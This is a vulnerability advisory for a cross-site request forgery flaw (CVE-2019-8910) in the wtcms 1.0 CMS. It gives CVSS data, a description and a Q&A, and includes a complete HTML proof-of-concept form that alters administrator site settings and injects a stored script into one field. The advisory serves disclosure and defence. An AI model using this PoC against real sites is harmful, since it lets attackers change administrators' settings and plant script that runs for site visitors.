#VU21312 Cross-site request forgery in wtcms


Published: 2019-09-24

Vulnerability identifier: #VU21312

Vulnerability risk: Low

CVSSv3.1: 5.8 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:U/RC:C]

CVE-ID: CVE-2019-8910

CWE-ID: CWE-352

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
wtcms
Web applications / CMS

Vendor: taosir

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in the "index.php?g=admin&m=setting&a=site_post". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as obtain administrator cookie.

PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[host]/index.php?g=admin&m=setting&a=site_post" method="POST">
      <input type="hidden" name="options&#91;site&#95;name&#93;" value="test" />
      <input type="hidden" name="option&#95;id" value="10" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;url&#95;password&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tpl&#93;" value="default" />
      <input type="hidden" name="options&#91;site&#95;adminstyle&#93;" value="flat" />
      <input type="hidden" name="options&#91;site&#95;icp&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;email&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tongji&#93;" value="&lt;script&gt;alert&#40;&quot;test&quot;&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="options&#91;site&#95;copyright&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;title&#93;" value="�&#191;&#189;�&#184;�&#187;�&#191;&#189;�&#161;�&#191;&#189;" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;keywords&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;description&#93;" value="" />
      <input type="hidden" name="options&#91;urlmode&#93;" value="0" />
      <input type="hidden" name="options&#91;html&#95;suffix&#93;" value="" />
      <input type="hidden" name="options&#91;comment&#95;time&#95;interval&#93;" value="60" />
      <input type="hidden" name="cmf&#95;settings&#91;banned&#95;usernames&#93;" value="" />
      <input type="hidden" name="cdn&#95;settings&#91;cdn&#95;static&#95;root&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

Vulnerable software versions

wtcms: 1.0


External links
http://github.com/taosir/wtcms/issues/5


Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.


Latest bulletins with this vulnerability